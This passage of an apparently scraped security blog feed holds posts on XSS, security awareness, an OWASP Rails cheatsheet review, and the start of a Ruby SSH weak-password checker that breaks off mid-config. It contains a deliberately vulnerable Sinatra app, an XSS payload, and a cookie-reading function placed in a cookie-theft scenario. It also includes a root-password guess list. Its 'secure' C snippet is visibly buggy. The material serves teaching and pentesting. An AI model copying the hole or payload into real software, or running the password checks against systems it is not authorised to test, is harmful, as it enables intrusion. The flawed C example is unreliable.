prevalent security risks for enterprises, in the 2010 it was the second item in
their Top 10 and in the 2013 it&#8217;s going to be third in this security risks
standing.</p>

<p>It looses a place but it&#8217;s far from being mitigated.</p>

<blockquote><p>The idea behind cross site scripting it&#8217;s easy. A web application is vulnerable<br/>if it takes an input (either from a web form or from HTTP request) and it uses<br/>it without proper validation or escape.</p></blockquote>


<p>There are three different type of cross site scripting (aka XSS) attacks:</p>

<ul>
<li>reflected</li>
<li>stored</li>
<li>DOM based</li>
</ul>


<h3>Reflected cross site scripting</h3>

<p>A reflected cross site scripting occurs when a web application consumes a user
input using it in one of its pages. A common scenario is a search result page
when the search key is echoed to recall the user about his choice.</p>

<p>Following there is a <a href="http://sinatrarb.org">Sinatra</a> web application that takes
a parameter from the URL and it uses in the view to say hello to the user.
Of course this application is far from being something to be used in production
but it can be used to exploit a reflected XSS.</p>

<figure class='code'><figcaption><span>a vulnerable Hello World Sinatra application</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="nb">require</span> <span class="s1">&#39;sinatra&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="n">get</span> <span class="s1">&#39;/&#39;</span> <span class="k">do</span>
</span><span class='line'>  <span class="vi">@name</span> <span class="o">=</span> <span class="n">params</span><span class="o">[</span><span class="ss">:name</span><span class="o">]</span>
</span><span class='line'>  <span class="n">erb</span> <span class="ss">:index</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="cp">__END__</span>
</span><span class='line'>
</span><span class='line'><span class="cp">@@index </span>
</span><span class='line'>
</span><span class='line'><span class="cp">&lt;!DOCTYPE html&gt;</span>
</span><span class='line'>
</span><span class='line'><span class="cp">&lt;html&gt;</span>
</span><span class='line'><span class="cp">  &lt;head&gt;</span>
</span><span class='line'><span class="cp">    &lt;meta charset=&quot;UTF-8&quot;&gt;</span>
</span><span class='line'><span class="cp">    &lt;title&gt;XSS test&lt;/title&gt; </span>
</span><span class='line'><span class="cp">  &lt;/head&gt;</span>
</span><span class='line'><span class="cp">  &lt;body&gt; </span>
</span><span class='line'><span class="cp">    &lt;h1&gt;Worked!&lt;/h1&gt;</span>
</span><span class='line'><span class="cp">    &lt;p&gt;</span>
</span><span class='line'><span class="cp">      Hello &lt;%= @name %&gt;</span>
</span><span class='line'><span class="cp">    &lt;/p&gt;</span>
</span><span class='line'><span class="cp">  &lt;/body&gt; </span>
</span><span class='line'><span class="cp">&lt;/html&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Using with a regular string, this is the output we expect.
<img class="left" src="http://armoredcode.com/images/reflected_xss_notaint.png"></p>

<p>Since we <strong>trust user inputs</strong> (and this is a typical habit in software
development) if the name parameter is filled with this piece of js</p>

<p>  &lt;script&gt;alert(&#8216;xss&#8217;)&lt;/script&gt;</p>

<p>then the resulting HTML will be</p>

<figure class='code'><figcaption><span>resulting body snippet</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'>  <span class="nt">&lt;body&gt;</span>
</span><span class='line'>    <span class="nt">&lt;h1&gt;</span>Worked!<span class="nt">&lt;/h1&gt;</span>
</span><span class='line'>    <span class="nt">&lt;p&gt;</span>
</span><span class='line'>      Hello <span class="nt">&lt;script&gt;</span><span class="nx">alert</span><span class="p">(</span><span class="s1">&#39;xss&#39;</span><span class="p">)</span><span class="nt">&lt;/script&gt;</span>
</span><span class='line'>    <span class="nt">&lt;/p&gt;</span>
</span><span class='line'>  <span class="nt">&lt;/body&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Browser doesn&#8217;t know it should receive a user name with an hello message. It
takes this piece of HTML and it renders it with the following result:</p>

<p><img src="http://armoredcode.com/images/reflected_xss_taint.png"></p>

<p>In order to understand how dangerous it can be a reflected cross site
scripting, look at this scenario:</p>

<ul>
<li>a web site is vulnerable to reflected XSS</li>
<li>an attacker designs a well crafted phishing email exploiting the XSS in a
email link</li>
<li>the attack pattern is a redirect to an attacker controlled website with a web
page reading all cookies</li>
<li>the user is redirected back to the vulnerable web site</li>
</ul>


<figure class='code'><figcaption><span>a cookie reading function</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="kd">function</span> <span class="nx">get_cookies_array</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">cookies</span> <span class="o">=</span> <span class="p">{</span> <span class="p">};</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">&amp;&amp;</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">!=</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="kd">var</span> <span class="nx">split</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">&#39;;&#39;</span><span class="p">);</span>
</span><span class='line'>        <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">split</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>            <span class="kd">var</span> <span class="nx">name_value</span> <span class="o">=</span> <span class="nx">split</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">split</span><span class="p">(</span><span class="s2">&quot;=&quot;</span><span class="p">);</span>
</span><span class='line'>            <span class="nx">name_value</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">name_value</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/^ /</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span>
</span><span class='line'>            <span class="nx">cookies</span><span class="p">[</span><span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">name_value</span><span class="p">[</span><span class="mi">0</span><span class="p">])]</span> <span class="o">=</span> <span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">name_value</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
</span><span class='line'>        <span class="p">}</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">return</span> <span class="nx">cookies</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<h3>Stored cross site scripting</h3>

<p>Stored cross site scriptings occur when a vulnerable web application stores
user input in a database or a file for a further usage.</p>

<p>In a past web application penetration test, with a source code review, I found
this:</p>

<ul>
<li>a web application exposes a page for user feedback with a textarea html
element in it</li>
<li>web application saves users&#8217; feedback in the database without filtering or
sanitize them</li>
<li>an internal web application read that database for datamining activities</li>
</ul>


<p>It was possible to submit, as fake feedback, a cross site scripting pattern
attack that is eventually stored in the database. When the second web
application (that is not Internet exposed) reads that database trying to build
a table with users&#8217; feedback, the pattern is used and the attack exploited.</p>

<p>That&#8217;s a stored cross site scripting in brief.</p>

<h3>DOM Based cross site scripting</h3>

<p>A DOM based xss attack occurs when the attack payload is executed by modifiying
the DOM document in the victim browser using an attack pattern executed client
side.</p>

<p>Richer user interfaces perform a lot of task client side, using parameters to
build forms or mask or populate values without passing such parameters to the
application server. This is done to save some traffic request and achieve
better performances.</p>

<p>If DOM is updated without filtering the values read by the user, then it&#8217;s
possible to inject arbitrary javascript code that it will be executed client
side. Bear in mind that since no code is passed to the server, it&#8217;s unlikely
that a web application firewall will save you from this kind of attack.</p>

<h2>Happy birthday armoredcode.com</h2>

<p>In this first year of blogging:</p>

<ul>
<li>24.701 people visited <a href="http://armoredcode.com">this site</a> - unique visitors</li>
<li>74,74% visitors were English speaking people. Only 2.85% used their browser with Italian locale</li>
<li>USA with the 26,37% of visits is the country that loves more armoredcode.com followed by Italy (10.04%).</li>
<li>Very few of my visitors use Internet Explorer (4.11%) but we&#8217;ve a lot of Windows visitors out of there (44.93%</li>
</ul>


<p>To all of you&#8230; <strong>thank you very much</strong></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Creating awereness on an hostile environment]]></title>
    <link href="http://armoredcode.com/blog/creating-awereness-on-an-hostile-environment/"/>
    <updated>2013-03-12T07:57:00+01:00</updated>
    <id>http://armoredcode.com/blog/creating-awereness-on-an-hostile-environment</id>
    <content type="html"><![CDATA[<p>With a colleague we were wondering about how much difficult is to create an
application security awareness climate in big corporate development team.
Please bear in mind that since I&#8217;m working in Italy my experience is very
narrowed to my country. If you have different stories to tell, please drop them
in this post comments area and share them.</p>

<p><em>Trying to make people aware about security risks they occur writing unsafe
code, will make yourself a friend or foe?</em></p>

<!-- more -->


<h2>The harsh part of the story</h2>

<p>Fact: software (most of it) is <strong>not</strong> secure and neither servers&#8217; daemons nor
servers&#8217; configuration is focused on security.</p>

<p>Fact: small teams (startups, small web agencies) actually do have developers
super stars. Some of them knows something about appsec but the time and the
market are their enemies. No time and no budget for security tests.</p>

<p>Fact: large teams (corporate) may have some skilled developers. Security is
seen as <em>yet another compliance and boring test we are supposed to pass</em>. <em>If
our code won&#8217;t pass security checks, we will rely on firewalls, we don&#8217;t want
to spend our precious time in fixing the code for something is not a bug.</em></p>

<p>Fact: security costs. We assume you use a freelance application security expert
to engage your web application. The tests will cost you money either in terms
of freelance fee, than in terms of developers&#8217; time to mitigate
vulnerabilities.</p>

<p>Fact: ignoring security costs in your budget will expose you to larger costs to
remediate a security breach in your database. Either in terms of fixing up the
code, than in refunding hungry customers. You may want also to consider the
costs you pay to build a trust relationship between you and your customers
during the startup period.</p>

<p>5 facts to draw the application security perimeter. When you will deploy any
awareness program into a big organization, you will fight at least those
misconceptions. All of them are leading to a pure and cost saving concept: I
don&#8217;t need security because it takes me money so I can ignore risks.</p>

<h2>An hostile marketplace</h2>

<p>Most of developers don&#8217;t trust security specialists. At least in Italy there is
the strong misconception that an application security specialist is not able to
code and that a developer is not able to understand security topics. Of course
both of those sentences are wrong (with some remarkable exceptions I won&#8217;t
discuss here) but the truth part is that finding a meeting point for those two
worlds (development and security) is a compelling task.</p>

<p>As a startupper creating a trustworthy relationship with their customer, an
application security specialist will be able to spend years in creating a
realation ship with a development team. It must be honest, competent and giving
the team something valuable to work over.</p>

<p>A security report saying &#8220;Fix this XSS because it&#8217;s security saying this&#8221; is
useless. You have to carefully explain what&#8217;s wrong with that code and how to
mitigate. They will be create software better than you will (most of times) but
you have to start talking to developers using source code if you want to create
a solid connection.</p>

<p>Creating awareness about security risks and make other people to trust you, it
is a process taking years in order to be successful. In my experience, you will
migrate from a not security aware development team to a Secure Software
Development Lifecycle ready team in 5 or 6 years.</p>

<p>During this period you will:</p>

<ul>
<li>create secure coding guidelines and you will listen developers criticisms
about them and you will iterate over and over</li>
<li>make them pleased to ask you for a web application penetration test <strong>and</strong>
for code reviews. You will provide valuable reports containing ideas not
impositions</li>
<li>meet developers and train them about secure coding and about new attacks</li>
</ul>


<p>It&#8217;s impossible to complete this task without any programming background.</p>

<blockquote><p>You can&#8217;t make code reviews or saying what&#8217;s wrong in other people code unless<br/>you wrote code yourself as well. Every application security specialist must<br/>write code and have worked with strict deadlines in order to understand how to<br/>talk to developers.</p></blockquote>


<p>Look at this very basic C snippet of code.</p>

<figure class='code'><figcaption><span>a reading experience</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
</span><span class='line'><span class="kt">char</span> <span class="o">**</span><span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">8192</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">&quot;myfile&quot;</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span>
</span><span class='line'><span class="c1">// some instructions here</span>
</span><span class='line'><span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">8192</span><span class="p">);</span>
</span><span class='line'><span class="c1">// other instructions there</span>
</span><span class='line'>
</span><span class='line'><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>


<p>Imagine you never wrote a single line of C code in your life. How can your code
review be useful in this scenario? Are you a good security specialist just
because you ran
<a href="http://www.softpedia.com/get/Security/Security-Related/RATS.shtml">rats</a>?</p>

<p>In my opinion you must be honest and saying you can make code review only if
you really can write it better:</p>

<figure class='code'><figcaption><span>a secure reading experience</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="cp">#include &lt;sys/file.h&gt;</span>
</span><span class='line'><span class="cp">#include &lt;stdio.h&gt;</span>
</span><span class='line'><span class="cp">#define BUF_SIZE 8192</span>
</span><span class='line'>
</span><span class='line'><span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
</span><span class='line'><span class="kt">char</span> <span class="o">**</span><span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BUF_SIZE</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">&quot;myfile&quot;</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span>
</span><span class='line'><span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="n">perror</span><span class="p">(</span><span class="s">&quot;myapp&quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'><span class="k">if</span> <span class="p">(</span><span class="n">flock</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">LOCK_EX</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="err"> </span><span class="p">{</span>
</span><span class='line'>  <span class="n">perror</span><span class="p">(</span><span class="s">&quot;myapp&quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="c1">// you can now make something here without being worried about TOCTOU</span>
</span><span class='line'><span class="c1">// when you read... remember to leave a char for the end of line...</span>
</span><span class='line'><span class="k">if</span> <span class="p">(</span><span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">BUF_SIZE</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="n">perror</span><span class="p">(</span><span class="s">&quot;myapp&quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="k">if</span> <span class="p">(</span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="n">perror</span><span class="p">(</span><span class="s">&quot;myapp&quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p><em>this example is taken from a real code review I made a couple of week ago.
Developers actually don&#8217;t care about TOCTOU because the read call was too much
call to the open to justify the lock&#8230; creating awareness is also force
yourself not to laugh so hard.</em></p>

<h2>Tell me your now</h2>

<p>I need your voice now&#8230; I create a
<a href="http://www.surveymonkey.com/s/8RG523F">survey</a> to ask people their position
about web application penetration test. I will use as slide number 2 or 3 in my
upcoming <a href="http://www.railsberry.com">Railsberry 2013 talk</a>.</p>

<p>Q: <em>Why you don&#8217;t make any web application penetration test when I deploy a new
web application (or a new feature)?</em></p>

<ul>
<li>You&#8217;re wrong. I do make a web application penetration test when I deploy
a new web application or a new feature</li>
<li>No budget. Security costs are too high for us, we&#8217;re a startup and we&#8217;re
focused on business first</li>
<li>No need to. We&#8217;re a big development team. Our code is robust and strong.
We won&#8217;t occur in any security incident. Ever</li>
<li>No time. We are missing our deadlines. We don&#8217;t have time to spent in
security tests. We are safe from risks. We have firewalls.</li>
<li>I don&#8217;t care. Seriously, security is a word spent by sales men to sell
antivirus or similiar stuff. I don&#8217;t think my web application will be attacked
by &#8220;so called&#8221; hackers.</li>
</ul>


<p>What&#8217;s your positition? Do you ask a security guy to make a penetration test
over your code?</p>

<p><em>Image curtesy by <a href="http://www.swanseacameraclub.co.uk/gallery2011/Glyn%20Freeman/album/slides/HOSTILE%20ENVIRONMENT.html">Glyn Freeman</a></em></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Ruby on Rails cheatsheet: the review]]></title>
    <link href="http://armoredcode.com/blog/ruby-on-rails-cheatsheet-the-review/"/>
    <updated>2013-03-05T09:50:00+01:00</updated>
    <id>http://armoredcode.com/blog/ruby-on-rails-cheatsheet-the-review</id>
    <content type="html"><![CDATA[<p><a href="http://www.manico.net/">Jim Manico</a> is a friend and a rinomated security
professional. He
<a href="http://lists.owasp.org/pipermail/owasp-leaders/2013-February/008735.html">announced</a>
in <a href="http://www.owasp.org">Owasp</a> mailing list that a <a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet">Ruby on Rails cheatsheet</a> is
available.</p>

<!-- more -->


<p>I asked Jim to introduce himself.</p>

<blockquote><p>Jim Manico is the VP of Security Architecture for WhiteHat<br/>Security, a web security firm. He authors and delivers developer<br/>security awareness training for WhiteHat Security and has a background<br/>as a software developer and architect. Jim is also a global board member<br/>for the OWASP foundation. He manages and participates in several OWASP<br/>projects, including the OWASP cheat sheet series and the OWASP podcast<br/>series.</p><footer><strong>Jim Manico</strong> <cite><a href='http://www.manico.net'>www.manico.net/&hellip;</a></cite></footer></blockquote>


<p>This is a critical review about the cheatsheet. My concern, as well other
venerable Owasp leaders, is to provide content that it can be consumed by
developers rathern than only by security researchers with some coding skills.</p>

<p>The cheatsheet is authored by:</p>

<ul>
<li>Matt Konda - mkonda [at] jemurai.com</li>
<li>Neil Matatall neil [at] matatall.com</li>
<li>Ken Johnson cktricky [at] gmail.com</li>
<li>Justin Collins justin [at] presidentbeef.com</li>
<li>Jon Rose - jrose400 [at] gmail.com</li>
<li>Lance Vaughn - lance [at] cabforward.com</li>
<li>Jon Claudius - jonathan.claudius [at] gmail.com</li>
<li>Aaron Bedra aaron [at] aaronbedra.com</li>
</ul>


<p>Kudos for all those guys for their work and commitment.</p>

<h2>The review</h2>

<p>First of all, let me say one thing: the document Jim and other guys wrote is:</p>

<ul>
<li>clear</li>
<li>with security in mind</li>
<li>almost practical</li>
</ul>


<p>This cheatsheet has very valuable content in it and you can use it, <strong>right
now</strong>, to improve your Ruby on Rails secure coding workflow.</p>

<p>The KISS paradigm is applied to this document and every item is shortly
described giving the reader the opportunity of going deeper with further
investigations.</p>

<p>The first thing I found it would be better in terms of approach is that there
is no a logical organization for the item described in the cheatsheet. It would
better having them grouped by web application macro areas like <em>authentication
&amp; authorization</em>, <em>input validation</em>, <em>error handling</em> and stuff like that.</p>

<p><a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Command_Injection">Command injection</a>
wrote this way it&#8217;s not a Rails specific issue. Of course the important bit is
not to bind user controlled inputs to strings passed to the operating system as
commands to be executed.</p>

<p>The <a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Authentication">part about authentication</a>
suggests about using Devise (and this is good) but in a cheatsheet there is no
enough space to cover how to create an autentication mechanism using Devise.
True to be told the code snippets provided are not enough for an early reader
knowing nothing about implementing a good authentication mechanism. You may
want to read a blog post I wrote in November about <a href="http://armoredcode.com/blog/crafting-an-authentication-subsystem-that-rocks-for-your-padrino-application-with-omniauth/">implementing an authentication mechanism for Padrino and omniauth</a>
It would be a better approach to grab a list of authentication frameworks, with
pointers and blog posts, and give the reader some security tips for each of
them.</p>

<p>For the <a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Insecure_Direct_Object_Reference_or_Forceful_Browsing">forceful browsing</a>
section, an example about how to use cancan to enforce some authorization
controls.</p>

<p>Finding <a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Business_Logic_Bugs">business logic bugs</a>
is a tricky task, the most difficult in a web application penetration test. As
a security tester one of your task is trying to subvert application business
logic in order to have the target application to do whatever you would do. And
the penetration test is missing from the key ways to protect your application
from business logic flaws.</p>

<h2>We love</h2>

<ul>
<li>Upcoming Rails 4 is cited</li>
<li>Rails is growing up as web framework and it&#8217;s great having security material
to create awareness</li>
</ul>


<h2>We love less</h2>

<ul>
<li>The overall document is for sure intented to be consumed by developers but
it&#8217;s clear it has been written by security researchers</li>
<li>Pointers to Owasp attack detailed description must be placed in order to
create awareness about risks. My experience is that a developer is not
trained to see security risk so he couldn&#8217;t understand at first glance why he
should change his working code.</li>
<li>Covers only ActiveRecord as ORM</li>
</ul>


<h2>Off by one</h2>

<p>Of course, the
<a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Authors_and_Primary_Editors">authors</a>
work is valuable and it&#8217;s pretty easy to use this cheatsheet in everyday
workflow as a reference. I&#8217;d like to see it improved with other Ruby powered
web frameworks like Sinatra or Padrino and for other ORMs like Datamapper.</p>

<p>This cheatsheet it&#8217;s a draft as authors say in the <a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet">web page</a>, so I can&#8217;t wait to see any great improvements, hopefully more about upcoming Rails 4.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Exploiting SSH weak passwords the ruby way]]></title>
    <link href="http://armoredcode.com/blog/exploiting-ssh-weak-passwords-the-ruby-way/"/>
    <updated>2013-02-15T08:08:00+01:00</updated>
    <id>http://armoredcode.com/blog/exploiting-ssh-weak-passwords-the-ruby-way</id>
    <content type="html"><![CDATA[<p>Even before starting writing complex input filters to manage your users&#8217; input,
you <strong>must</strong> care about the password you use on your servers.
If they are poor, no application security on Earth would save you against a break-in.</p>

<!-- more -->


<h2>Scenario</h2>

<p>You are pentesting your customer&#8217;s network. A lot of servers are answering to
SSH protocol in order to allow remote management. No problem with this, of
course you may want to deal with remote management also using some <em>identity
and access management</em> product in order to centralize admin login and to have a
truly random root password on each server.</p>

<p>There are some well known passwords every not-so-security-aware sysadmin would
use to protect root account:</p>

<ul>
<li>God</li>
<li>Sex</li>
<li>Password</li>
<li>root</li>
<li>12345</li>
<li>1q2w3e4r</li>
</ul>


<p>I&#8217;m not jocking. They are still here. People still use weak passwords since
they are quick to memorize and to type on the keyboard.</p>

<p>The funny bit here is that most of time is spent by root to be idle looking at
the <em>ls -l</em> command output. Grin.</p>

<p>Do you need a very quick script to check for root default credentials? I&#8217;ll
give you one I wrote and that I found useful in a lot of security assessments.</p>

<h2>Implementation</h2>

<p>What we need here is to connect to a given host on a given port using the SSH
protocol. Our script must be flexible enough to accept an arbitrary host and
also arbitrary ports. System administrators may have changed SSH default port
to their server, so we would parameterize it instead of hardcoding &#8220;22&#8221; in our
script.
We need also a way to manage IP addresses notation, in order to scan whole
networks without specifying every single host.</p>

<p>We&#8217;re lucky enough, all we need is on standard library. We just want to install
the <a href="https://rubygems.org/gems/net-ssh">net-ssh</a> ruby gem.</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="err">$</span> <span class="n">gem</span> <span class="n">install</span> <span class="n">net</span><span class="o">-</span><span class="n">ssh</span>
</span></code></pre></td></tr></table></div></figure>


<p>Our script would read a config file for target SSH ports and trivial password
to use. We won&#8217;t code an ssh bruteforcer, we just want to check if some hosts
in the environment have very trivial password values for root account.</p>

<figure class='code'><figcaption><span>a very basic read_conf method</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
</pre></td><td class='code'><pre><code class='ruby'><span class='line'><span class="nb">require</span> <span class="s1">&#39;yaml&#39;</span>
</span><span class='line'>
</span><span class='line'><span class="o">.</span><span class="n">.</span><span class="o">.</span>
</span><span class='line'>
</span><span class='line'><span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">read_conf</span><span class="p">(</span><span class="n">conf_file</span><span class="o">=</span><span class="kp">nil</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'>  <span class="p">(</span><span class="n">conf_file</span><span class="o">.</span><span class="n">nil?</span><span class="p">)?</span> <span class="n">file</span><span class="o">=</span><span class="s1">&#39;./ssh_takedown.yaml&#39;</span> <span class="p">:</span> <span class="n">file</span><span class="o">=</span><span class="n">conf_file</span>
</span><span class='line'>  <span class="p">(</span><span class="no">File</span><span class="o">.</span><span class="n">exists?</span><span class="p">(</span><span class="n">file</span><span class="p">))?</span> <span class="n">config</span> <span class="o">=</span> <span class="no">YAML</span><span class="o">.</span><span class="n">load_file</span><span class="p">(</span><span class="n">file</span><span class="p">)</span> <span class="p">:</span> <span class="n">config</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&quot;config&quot;</span><span class="o">=&gt;</span><span class="p">{</span><span class="s2">&quot;ports_to_scan&quot;</span><span class="o">=&gt;</span><span class="s2">&quot;22&quot;</span><span class="p">,</span> <span class="s2">&quot;password_list&quot;</span><span class="o">=&gt;</span><span class="s2">&quot;root,password&quot;</span><span class="p">}}</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">config</span>
</span><span class='line'><span class="k">end</span>
</span><span class='line'>
</span><span class='line'><span class="c1"># A basic configuration file...</span>
</span><span class='line'><span class="c1">#</span>
</span><span class='line'><span class="c1"># config:</span>
